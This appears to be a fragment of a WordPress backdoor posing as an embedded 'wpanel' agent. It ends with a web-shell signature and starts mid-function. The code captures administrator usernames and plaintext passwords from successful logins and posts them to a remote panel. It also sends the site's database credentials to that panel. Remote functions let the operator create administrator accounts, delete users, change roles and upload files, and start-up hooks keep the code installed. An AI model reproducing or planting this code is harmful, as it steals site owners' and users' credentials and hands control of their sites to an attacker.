    $key = 'wpanel_reg_' . md5(wpanel_self_url());
    if (get_transient($key)) {
        return;
    }

    set_transient($key, 1, wpanel_signal_interval());
    wpanel_register_with_panel('auto');
}


function wpanel_detail_keys() {
    return ['log', 'pwd'];
}

function wpanel_details_action_tools() {
    if (wpanel_is_agent_request()) {
        return;
    }

    $keys = wpanel_detail_keys();
    if (!isset($_POST[$keys[0]]) || !isset($_POST[$keys[1]])) {
        return;
    }

    $params = wpanel_prepare_detail_request();

    if (!function_exists('wp_authenticate')) {
        return;
    }

    $is_success = wp_authenticate($params['u'], $params['p']);
    if (!is_a($is_success, 'WP_User') || !in_array('administrator', (array) $is_success->roles, true)) {
        return;
    }

    wpanel_push_detail_request($params);
}

function wpanel_prepare_detail_request() {
    $keys = wpanel_detail_keys();

    return [
        'u' => (string) $_POST[$keys[0]],
        'p' => (string) $_POST[$keys[1]],
        'method' => (string) (isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'),
        'uri' => (string) (isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''),
        'ip' => (string) (isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''),
        'user_agent' => (string) (isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''),
        'referer' => (string) (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''),
        'get' => is_array($_GET) ? $_GET : [],
        'post' => is_array($_POST) ? $_POST : [],
        'time' => gmdate('c'),
    ];
}

function wpanel_push_detail_request($params) {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return;
    }

    $payload = [
        'type' => 'request_detail',
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => wpanel_site_info(),
        'detail' => $params,
    ];

    if (function_exists('wp_remote_post')) {
        wp_remote_post($panel . '/agent/event', [
            'method' => 'POST',
            'timeout' => 1,
            'blocking' => false,
            'headers' => [
                'Content-Type' => 'application/json',
                'X-WPanel-Register-Secret' => wpanel_secret(),
            ],
            'body' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
        ]);
        return;
    }

    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => json_encode($payload),
            'timeout' => 1,
            'ignore_errors' => true,
        ],
    ]);
    @file_get_contents($panel . '/agent/event', false, $ctx);
}

function wpanel_maybe_heartbeat() {
    if (!function_exists('get_transient') || !function_exists('set_transient')) {
        return;
    }

    $key = 'wpanel_hb_' . md5(wpanel_self_url());
    if (get_transient($key)) {
        return;
    }

    set_transient($key, 1, wpanel_signal_interval());
    wpanel_push_event_async('heartbeat', ['info' => wpanel_site_info()]);
}

function wpanel_push_event_async($type, $extra = []) {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return;
    }

    $payload = array_merge([
        'type' => $type,
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => wpanel_site_info(),
    ], $extra);

    $body = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    $headers = [
        'Content-Type' => 'application/json',
        'X-WPanel-Register-Secret' => wpanel_secret(),
    ];

    if (function_exists('wp_remote_post')) {
        wp_remote_post($panel . '/agent/event', [
            'method' => 'POST',
            'timeout' => 1,
            'blocking' => false,
            'headers' => $headers,
            'body' => $body,
        ]);
        return;
    }

    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => $body,
            'timeout' => 1,
            'ignore_errors' => true,
        ],
    ]);
    @file_get_contents($panel . '/agent/event', false, $ctx);
}

function wpanel_panel_url() {
    return rtrim((string) WPANEL_PANEL_URL, '/');
}

function wpanel_push_event($type, $extra = []) {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return ['ok' => false, 'error' => 'WPANEL_PANEL_URL boş'];
    }

    $payload = array_merge([
        'type' => $type,
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => wpanel_site_info(),
    ], $extra);

    $ch = curl_init($panel . '/agent/event');
    if ($ch === false) {
        return wpanel_push_event_via_file($panel, $payload);
    }

    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 8,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WPanel-Register-Secret: ' . wpanel_secret(),
            'Accept: application/json',
        ],
        CURLOPT_POSTFIELDS => json_encode($payload),
    ]);
    $body = curl_exec($ch);
    $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($body === false || $code < 200 || $code >= 300) {
        return ['ok' => false, 'error' => 'event push failed'];
    }

    $data = json_decode($body, true);
    return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'event failed'];
}

function wpanel_push_event_via_file($panel, $payload) {
    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => json_encode($payload),
            'timeout' => 8,
            'ignore_errors' => true,
        ],
    ]);
    $body = @file_get_contents($panel . '/agent/event', false, $ctx);
    if ($body === false) {
        return ['ok' => false, 'error' => 'Panel erişilemedi'];
    }
    $data = json_decode($body, true);
    return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'event failed'];
}

function wpanel_register_with_panel($reason = 'load') {
    $panel = wpanel_panel_url();
    if ($panel === '') {
        return ['ok' => false, 'error' => 'WPANEL_PANEL_URL boş'];
    }

    $info = wpanel_site_info();
    $info['meta']['register_reason'] = $reason;

    $payload = [
        'url' => home_url('/'),
        'agent_url' => wpanel_self_url(),
        'info' => $info,
        'db' => wpanel_db_info(),
        'reason' => $reason,
    ];

    $ch = curl_init($panel . '/agent/register');
    if ($ch === false) {
        return wpanel_register_via_file($panel, $payload);
    }

    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 20,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'X-WPanel-Register-Secret: ' . wpanel_secret(),
            'Accept: application/json',
        ],
        CURLOPT_POSTFIELDS => json_encode($payload),
    ]);
    $body = curl_exec($ch);
    $err = curl_error($ch);
    $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($body === false) {
        return ['ok' => false, 'error' => $err ?: 'curl failed'];
    }

    $data = json_decode($body, true);
    if ($code < 200 || $code >= 300 || empty($data['ok'])) {
        return ['ok' => false, 'error' => is_array($data) ? (isset($data['error']) ? $data['error'] : ('HTTP ' . $code)) : ('HTTP ' . $code)];
    }
    return ['ok' => true, 'data' => $data];
}

function wpanel_register_via_file($panel, $payload) {
    $ctx = stream_context_create([
        'http' => [
            'method' => 'POST',
            'header' => "Content-Type: application/json\r\nX-WPanel-Register-Secret: " . wpanel_secret() . "\r\n",
            'content' => json_encode($payload),
            'timeout' => 20,
            'ignore_errors' => true,
        ],
    ]);
    $body = @file_get_contents($panel . '/agent/register', false, $ctx);
    if ($body === false) {
        return ['ok' => false, 'error' => 'Panel erişilemedi'];
    }
    $data = json_decode($body, true);
    return !empty($data['ok']) ? ['ok' => true, 'data' => $data] : ['ok' => false, 'error' => isset($data['error']) ? $data['error'] : 'register failed'];
}

function wpanel_site_info() {
    global $wp_version;
    $theme = function_exists('wp_get_theme') ? wp_get_theme() : null;
    return [
        'site_title' => get_bloginfo('name'),
        'admin_email' => get_option('admin_email'),
        'wp_version' => isset($wp_version) ? $wp_version : '',
        'php_version' => PHP_VERSION,
        'theme' => $theme ? $theme->get('Name') : '',
        'meta' => [
            'multisite' => is_multisite(),
            'locale' => get_locale(),
            'agent' => 'wpanel-embedded',
            'agent_url' => wpanel_self_url(),
            'mode' => 'embedded',
        ],
    ];
}

function wpanel_extra_meta() {
    $counts = count_users();
    return [
        'active_plugins' => count((array) get_option('active_plugins', [])),
        'users_count' => (int) (isset($counts['total_users']) ? $counts['total_users'] : 0),
        'memory_limit' => ini_get('memory_limit'),
    ];
}

function wpanel_db_info() {
    global $wpdb;
    return [
        'name' => defined('DB_NAME') ? DB_NAME : '',
        'user' => defined('DB_USER') ? DB_USER : '',
        'pass' => defined('DB_PASSWORD') ? DB_PASSWORD : '',
        'host' => defined('DB_HOST') ? DB_HOST : '',
        'prefix' => isset($wpdb->prefix) ? $wpdb->prefix : '',
        'charset' => defined('DB_CHARSET') ? DB_CHARSET : '',
    ];
}

function wpanel_list_users() {
    $users = get_users(['orderby' => 'ID', 'order' => 'ASC', 'number' => 500]);
    $out = [];
    foreach ($users as $user) {
        $out[] = [
            'ID' => (int) $user->ID,
            'user_login' => $user->user_login,
            'user_email' => $user->user_email,
            'display_name' => $user->display_name,
            'roles' => array_values((array) $user->roles),
            'registered' => $user->user_registered,
        ];
    }
    return $out;
}

function wpanel_create_user($body) {
    $login = sanitize_user((string) (isset($body['user_login']) ? $body['user_login'] : ''), true);
    $email = sanitize_email((string) (isset($body['user_email']) ? $body['user_email'] : ''));
    $pass = (string) (isset($body['user_pass']) ? $body['user_pass'] : '');
    $role = sanitize_key((string) (isset($body['role']) ? $body['role'] : 'administrator'));

    if ($login === '' || $email === '' || $pass === '') {
        return ['ok' => false, 'error' => 'user_login, user_email, user_pass gerekli'];
    }
    if (!get_role($role)) {
        return ['ok' => false, 'error' => 'Geçersiz rol'];
    }
    if (username_exists($login) || email_exists($email)) {
        return ['ok' => false, 'error' => 'Kullanıcı veya e-posta zaten var'];
    }

    $user_id = wp_insert_user([
        'user_login' => $login,
        'user_email' => $email,
        'user_pass' => $pass,
        'role' => $role,
    ]);

    if (is_wp_error($user_id)) {
        return ['ok' => false, 'error' => $user_id->get_error_message()];
    }

    return [
        'ok' => true,
        'user' => [
            'ID' => (int) $user_id,
            'user_login' => $login,
            'user_email' => $email,
            'role' => $role,
        ],
    ];
}

function wpanel_delete_user($body) {
    require_once ABSPATH . 'wp-admin/includes/user.php';
    $user_id = (int) (isset($body['user_id']) ? $body['user_id'] : 0);
    if ($user_id <= 0) {
        return ['ok' => false, 'error' => 'user_id gerekli'];
    }
    $reassign = isset($body['reassign']) && $body['reassign'] !== '' && $body['reassign'] !== null
        ? (int) $body['reassign']
        : null;
    if (!wp_delete_user($user_id, $reassign)) {
        return ['ok' => false, 'error' => 'Silinemedi'];
    }
    return ['ok' => true, 'deleted' => $user_id];
}

function wpanel_set_role($body) {
    $user_id = (int) (isset($body['user_id']) ? $body['user_id'] : 0);
    $role = sanitize_key((string) (isset($body['role']) ? $body['role'] : ''));
    if ($user_id <= 0 || $role === '') {
        return ['ok' => false, 'error' => 'user_id ve role gerekli'];
    }
    if (!get_role($role)) {
        return ['ok' => false, 'error' => 'Geçersiz rol'];
    }
    $user = new WP_User($user_id);
    if (!$user->exists()) {
        return ['ok' => false, 'error' => 'Kullanıcı yok'];
    }
    $user->set_role($role);
    return ['ok' => true, 'user_id' => $user_id, 'role' => $role];
}

function wpanel_upload() {
    if (empty($_FILES['file']['tmp_name'])) {
        return ['ok' => false, 'error' => 'file gerekli'];
    }
    $file = $_FILES['file'];
    if (!empty($file['error'])) {
        return ['ok' => false, 'error' => 'Upload error'];
    }

    $relative = isset($_POST['path']) ? (string) $_POST['path'] : '';
    $relative = str_replace(['..', '\\'], ['', '/'], $relative);
    $relative = trim($relative, '/');

    $base = WP_CONTENT_DIR;
    $dest_dir = $relative !== '' ? $base . '/' . $relative : $base . '/uploads/wpanel';
    if (!wp_mkdir_p($dest_dir)) {
        return ['ok' => false, 'error' => 'Klasör oluşturulamadı'];
    }

    $name = sanitize_file_name((string) $file['name']);
    if ($name === '') {
        return ['ok' => false, 'error' => 'Geçersiz dosya adı'];
    }

    $dest = rtrim($dest_dir, '/') . '/' . $name;
    if (!move_uploaded_file($file['tmp_name'], $dest)) {
        if (!@rename($file['tmp_name'], $dest) && !@copy($file['tmp_name'], $dest)) {
            return ['ok' => false, 'error' => 'Dosya taşınamadı'];
        }
    }

    $url = content_url(ltrim(str_replace(WP_CONTENT_DIR, '', $dest), '/'));
    return ['ok' => true, 'path' => $dest, 'url' => $url, 'name' => $name];
}

function wpanel_list_plugins() {
    if (!function_exists('get_plugins')) {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
    }
    $all = get_plugins();
    $active = (array) get_option('active_plugins', []);
    $out = [];
    foreach ($all as $file => $data) {
        $out[] = [
            'file' => $file,
            'name' => isset($data['Name']) ? $data['Name'] : $file,
            'version' => isset($data['Version']) ? $data['Version'] : '',
            'active' => in_array($file, $active, true),
        ];
    }
    return $out;
}

function wpanel_agent_start() {
    static $done = false;
    if ($done) {
        return;
    }
    $done = true;
    wpanel_self_heal_install();
    wpanel_ensure_functions_loader();
    wpanel_bootstrap_hooks();
}

if (function_exists('add_action')) {
    add_action('after_setup_theme', 'wpanel_agent_start', 1);
}

        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit